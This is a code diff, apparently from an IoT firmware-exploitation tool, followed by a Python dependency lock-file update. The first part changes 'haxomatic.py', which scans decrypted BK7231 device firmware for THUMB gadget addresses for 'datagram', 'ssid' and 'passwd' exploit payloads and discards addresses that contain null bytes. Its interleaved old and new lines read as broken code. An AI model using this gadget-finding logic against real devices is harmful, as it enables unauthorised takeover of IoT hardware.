print(f"[+] Searching for {payload_type} payload address")
payload_bytecode = bytes.fromhex(payload_string)
payload_matches = matcher.bytecode_search(payload_bytecode, stop_at_first=False)
if not payload_matches or len(payload_matches) != payload_count:
raise RuntimeError(f"[!] Failed to find {payload_type} payload address (found {len(payload_matches)}, expected {payload_count})")
payload_addr = matcher.set_final_thumb_offset(payload_matches[payload_index])
for b in payload_addr.to_bytes(3, byteorder='little'):
def find_payload(platformInfo, pattern : Pattern):
matcher = CodePatternFinder(platformInfo)
print(f"[+] Searching for {pattern.type}[{pattern.padding}] payload address")
bytecode = bytes.fromhex(pattern.matchString)
matches = matcher.bytecode_search(bytecode, stop_at_first=False)
if not matches or len(matches) != pattern.count:
return -1, f"[!] Failed to find {pattern.type}[{pattern.padding}] payload address (found {len(matches)}, expected {pattern.count})"
addr = matcher.set_final_thumb_offset(matches[pattern.index])
for b in addr.to_bytes(platformInfo.address_size, byteorder='little'):
if b == 0:
raise RuntimeError(f"[!] {payload_type} payload address contains a null byte, unable to continue")
print(f"[+] {payload_type} payload address gadget (THUMB): 0x{payload_addr:X}")
print("[+] Searching for finish address")
finish_bytecode = bytes.fromhex(finish_string)
finish_matches = matcher.bytecode_search(finish_bytecode, stop_at_first=False)
if not finish_matches or len(finish_matches) > finish_count:
raise RuntimeError("[!] Failed to find finish address")
finish_addr = matcher.set_final_thumb_offset(finish_matches[finish_index])
for b in finish_addr.to_bytes(3, byteorder='little'):
if b == 0:
if finish_count > 0:
print("[!] Preferred finish address contained a null byte, using available alternative")
finish_addr = matcher.set_final_thumb_offset(finish_matches[finish_index + 1])
# TODO: make this a better alternate search if pattern.index is already max
if pattern.type == "finish" and pattern.count > 1:
print(f"[!] Preferred {pattern.type} address ({addr:X}) contained a null byte, trying available alternative")
addr = matcher.set_final_thumb_offset(matches[pattern.index + 1])
else:
raise RuntimeError("[!] Finish address contains a null byte, unable to continue")
print(f"[+] Finish address gadget (THUMB): 0x{finish_addr:X}")
return -1, f"[!] {pattern.type} address ({addr:X}) contains a null byte, unable to continue"
print(f"[+] {pattern.type}[{pattern.padding}] payload address gadget (THUMB): 0x{addr:X}")
with open(name_output_file(f'address_{pattern.type}.txt'), 'w') as f:
f.write(f'0x{addr:X}')
if pattern.padding > 0:
with open(name_output_file(f'address_{pattern.type}_padding.txt'), 'w') as f:
f.write(f"{pattern.padding}")
return 0, ""
with open(name_output_file('address_finish.txt'), 'w') as f:
f.write(f'0x{finish_addr:X}')
if payload_type == "datagram":
with open(name_output_file('address_datagram.txt'), 'w') as f:
f.write(f'0x{payload_addr:X}')
elif payload_type == "ssid":
with open(name_output_file('address_ssid.txt'), 'w') as f:
f.write(f'0x{payload_addr:X}')
with open(name_output_file('address_ssid_padding.txt'), 'w') as f:
f.write(f'{payload_padding}')
elif payload_type == "passwd":
with open(name_output_file('address_passwd.txt'), 'w') as f:
f.write(f'0x{payload_addr:X}')
def process(platformInfo, sdk_identifier, pattern1 : Pattern, pattern2 : Pattern, pattern3 : Pattern = None):
with open(name_output_file('chip.txt'), 'w') as f:
f.write(f'{platformInfo.platform.value}')
combined_payload_type = f"{pattern1.type}[{pattern1.padding}] + {pattern2.type}[{pattern2.padding}]"
if pattern3:
combined_payload_type += f" + {pattern3.type}[{pattern3.padding}]"
print(f"[+] Matched pattern for {platformInfo.platform.value} {sdk_identifier}, payload type {combined_payload_type}")
pattern1_result, pattern1_message = find_payload(platformInfo, pattern1)
pattern2_result, pattern2_message = find_payload(platformInfo, pattern2)
pattern3_message = None
if pattern3:
pattern3_result, pattern3_message = find_payload(platformInfo, pattern3)
if pattern1_result < 0 or pattern2_result < 0 or (pattern3 and pattern3_result < 0):
raise RuntimeError("\r\n".join([x for x in [pattern1_message, pattern2_message, pattern3_message] if x]))
with open(name_output_file('haxomatic_matched.txt'), 'w') as f:
f.write('1')
def run(decrypted_app_file: str):
@@ -222,14 +404,16 @@ def run(decrypted_app_file: str):
print('Usage: python haxomatic.py <app code file>')
sys.exit(1)
address_finish_file = decrypted_app_file.replace('_app_1.00_decrypted.bin', '_address_finish.txt')
if os.path.exists(address_finish_file):
global appcode_path, appcode
appcode_path = decrypted_app_file.replace(".bin", "")
if appcode_path.endswith("_active_app"):
appcode_path = appcode_path.replace("_active_app", "")
if os.path.exists(name_output_file("haxomatic_matched.txt")):
print('[+] Haxomatic has already been run')
return
global appcode_path, appcode
appcode_path = decrypted_app_file
with open(appcode_path, 'rb') as fs:
with open(decrypted_app_file, 'rb') as fs:
appcode = fs.read()
walk_app_code()

View File

@@ -1,4 +1,63 @@
# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand.
# This file is automatically @generated by Poetry 2.2.1 and should not be changed by hand.
[[package]]
name = "bitstruct"
version = "8.20.0"
description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings."
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "bitstruct-8.20.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7a33169c25eef4f923f8a396ef362098216f527e83e44c7e726c126c084944ab"},
{file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7fec9cff575cdd9dafba9083fa8446203f32c7112af7a6748f315f974dcd418"},
{file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:08835ebed9142babc39885fc0301f45fae9de7b1f3e78c1e3b4b5c2e20ff8d38"},
{file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2b1735a9ae5ff82304b9f416051e986e3bffa76bc416811d598ee3e8e9b1f26c"},
{file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9962bccebee15ec895fa8363ad4391e5314ef499b3e96af7d8ef6bf6e2f146ce"},
{file = "bitstruct-8.20.0-cp310-cp310-win32.whl", hash = "sha256:5f3c88ae5d4e329cefecc66b18269dc27cd77f2537a8d506b31f8b874225a5cc"},
{file = "bitstruct-8.20.0-cp310-cp310-win_amd64.whl", hash = "sha256:98640aeb709b67dcea79da7553668b96e9320ee7a11639c3fe422592727b1705"},
{file = "bitstruct-8.20.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3be9192bff6accb6c2eb4edd355901fed1e64cc50de437015ee1469faab436a4"},
{file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9a2634563ed9c7229b0c6938a332b718e654f0494c2df87ee07f8074026ee68"},
{file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4cf892b3c95393772eea4ab2a0e4ea2d7ec45742557488727bd6bfdd1d1e5007"},
{file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:fc4a841126e2d89fd3ef579c2d8b02f8af31b5973b947afb91450ae8adf5caa4"},
{file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fbf434f70f827318f2aaa68c6cf2fde58ab34a5ab1c6d9f0f4b9f953f058584"},
{file = "bitstruct-8.20.0-cp311-cp311-win32.whl", hash = "sha256:0b0444a713f4f7e13927427e9ff5ed73bb4223c8074141adfc3e0bfbe63e092d"},
{file = "bitstruct-8.20.0-cp311-cp311-win_amd64.whl", hash = "sha256:8271b3851657fe1066cb04ddc30e14a8492bdd18fa287514506af0801babd494"},
{file = "bitstruct-8.20.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5df3ce5f4dd517be68e4b2d8ab37a564e12d5e24ec29039a3535281174a75284"},
{file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac0bb940fa9238c05796d45fb957ddf2e10d82ee8fd8cd43c5e367a9c380b24c"},
{file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73eb7f0b6031c7819c12412c71af07cfac036da22a9245b7a1669a1f11fe1220"},
{file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ea7b64a444bf592712593a9f3bf1cb37588fae257aeb40d2ea427e17ef3d690c"},
{file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4dad0231810bc3ef4e5154d6d6f7d62cc3efe2b9e9e6126002f105297284af3"},
{file = "bitstruct-8.20.0-cp312-cp312-win32.whl", hash = "sha256:8ca1cc21ae72bbefee4471054e6a993b74f4571716eded73c3d3b6280dc831fd"},
{file = "bitstruct-8.20.0-cp312-cp312-win_amd64.whl", hash = "sha256:b3732bed3c8b190dee071c2222304ef668f665fbdbeef19c9aeed50fbe1a3d48"},
{file = "bitstruct-8.20.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b62fab3f38c09f5d61c83559cfc495b56de6dc424c3ccb1ff9f93457975b8c25"},
{file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4df55aea3bf5c1970174191f04f575d657515b2ff26582e7a6475937b4e8176"},
{file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f44afbce27ca0bd3fa96630c7a240bff167a7b66c05ac12ba9147ec001eee531"},
{file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c3d19f85935613a7db42f0e848e278d33ed2b18629dd5cc0e391d0ee8ddb54b"},
{file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d3f29bb701916a8bb885ccc0de77c6c4b3eaf81652916b3d0bcd7dd9ebdab799"},
{file = "bitstruct-8.20.0-cp313-cp313-win32.whl", hash = "sha256:a09f81cdeec264349a6e65597329a1cee461218b870f8113848126c2c6729025"},
{file = "bitstruct-8.20.0-cp313-cp313-win_amd64.whl", hash = "sha256:31e33cc7db403cd2441d4d1968c57334b2489ffe123cfc30d26eedf11063288e"},
{file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:462f27fed30322c24007641ec2f2413a4778f564b30b45e3265f689cd84d43d7"},
{file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c547a2cba2a94076dec3ef72229be641bbc320cb676a028db45202abb405b02"},
{file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:aff38098efc9c6cbba8cd3f2b37aa8bf6169e3a53be2ec21c1c3166bdeae22d0"},
{file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:31c64bf7ebda6d046fc3909287a6f7adcbbc1d1e50e463e3239798558f24bcfa"},
{file = "bitstruct-8.20.0-cp37-cp37m-win32.whl", hash = "sha256:67e9b21a3a5ca247e31168a81da94a27763e7a34c80c847d9266209ec70294c2"},
{file = "bitstruct-8.20.0-cp37-cp37m-win_amd64.whl", hash = "sha256:215acf2ecc2a65dcf4dec79d8e6ad98792d4ef4ae0b02aaf6b0dd678a6c11d02"},
{file = "bitstruct-8.20.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9dcbccadba78c9b3170db967a8559500e3eca821cd9f101a76c087cf01e1cdbd"},
{file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6232fdf18689406369810a448181e9a2936f9d22707918394fc0cf5334c9fc1"},
{file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7fe8c959beb3b9471bedc3af01467cedede72f2cf65614aa69a6651684926c4e"},
{file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:2adcd545a8f8a90a2e84a21edc5763f3d3832ebddb7cc687b7650221cddfc19a"},
{file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b3a4f0e443a9b4171b648b52c3003064cf31113f6203e08dc4ac225601d9249b"},
{file = "bitstruct-8.20.0-cp38-cp38-win32.whl", hash = "sha256:5618eaab857db6dafa26751af5b8c926541ce578f36608e50fa687127682af3c"},
{file = "bitstruct-8.20.0-cp38-cp38-win_amd64.whl", hash = "sha256:3eb8de0ad891b716ed97430e8b8603b6d875c5ddc5ebcd9c5288099c773a6bc9"},
{file = "bitstruct-8.20.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a063deb6b7b07906414ac460c807e483b6eea662abcb406c4ea6e2938c8fc21"},
{file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0528f8da4cf919a3d4801603c4e5fc601b72b86955d37c51c8d7ddc69f291f0c"},
{file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac783d0bc7c57bee2c8f8cda4c83d60236e7c046f6f454e76943f9e0fb16112"},
{file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:a0482f8e2b73df16d080d5d8df23e2949c114e27acfeb659f0465ef8ce1da038"},
{file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f6cc949e8030303b05728294b4feaca8c955150dd5042f66467da1dd18ff3410"},
{file = "bitstruct-8.20.0-cp39-cp39-win32.whl", hash = "sha256:3e5195cfe68952587a2fcb621b2ee766e78f5d2d5a1e94204ac302e3d3f441bc"},
{file = "bitstruct-8.20.0-cp39-cp39-win_amd64.whl", hash = "sha256:a7109b454a8cccc55e88165a903e5d9980e39f6f5268dc5ec5386ae96a89ff1b"},
{file = "bitstruct-8.20.0.tar.gz", hash = "sha256:f6b16a93097313f2a6c146640c93e5f988a39c33364f8c20a4286ac1c5ed5dae"},
]
[[package]]
name = "bk7231tools"
@@ -6,6 +65,7 @@ version = "2.0.0"
description = "Tools to interact with and analyze artifacts for BK7231 MCUs"
optional = false
python-versions = ">=3.7,<4.0"
groups = ["main"]
files = [
{file = "bk7231tools-2.0.0-py3-none-any.whl", hash = "sha256:8ad3e65aa07dfbf8dd549d03791028ee7304f38c80eb4fe3b113d5e06e3c3daf"},
{file = "bk7231tools-2.0.0.tar.gz", hash = "sha256:27dc81ae33d61e2c5191794f2f174f3d7893d3a29f06960c920d068188c33efe"},
@@ -19,23 +79,313 @@ pyserial = ">=3.5,<4.0"
[package.extras]
cli = ["pycryptodome (>=3.16.0,<4.0.0)"]
[[package]]
name = "certifi"
version = "2025.11.12"
description = "Python package for providing Mozilla's CA Bundle."
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "certifi-2025.11.12-py3-none-any.whl", hash = "sha256:97de8790030bbd5c2d96b7ec782fc2f7820ef8dba6db909ccf95449f2d062d4b"},
{file = "certifi-2025.11.12.tar.gz", hash = "sha256:d8ab5478f2ecd78af242878415affce761ca6bc54a22a27e026d7c25357c3316"},
]
[[package]]
name = "charset-normalizer"
version = "3.4.4"
description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d"},
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8"},
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad"},
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8"},
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d"},
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313"},
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e"},
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93"},
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0"},
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84"},
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e"},
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db"},
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6"},
{file = "charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f"},
{file = "charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d"},
{file = "charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69"},
{file = "charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8"},
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0"},
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3"},
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc"},
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897"},
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381"},
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815"},
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0"},
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161"},
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4"},
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89"},
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569"},
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224"},
{file = "charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a"},
{file = "charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016"},
{file = "charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1"},
{file = "charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394"},
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25"},
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef"},
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d"},
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8"},
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86"},
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a"},
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f"},
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc"},
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf"},
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15"},
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9"},
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0"},
{file = "charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26"},
{file = "charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525"},
{file = "charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3"},
{file = "charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794"},
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed"},
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72"},
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328"},
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede"},
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894"},
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1"},
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490"},
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44"},
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133"},
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3"},
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e"},
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc"},
{file = "charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac"},
{file = "charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14"},
{file = "charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2"},
{file = "charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd"},
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb"},
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e"},
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14"},
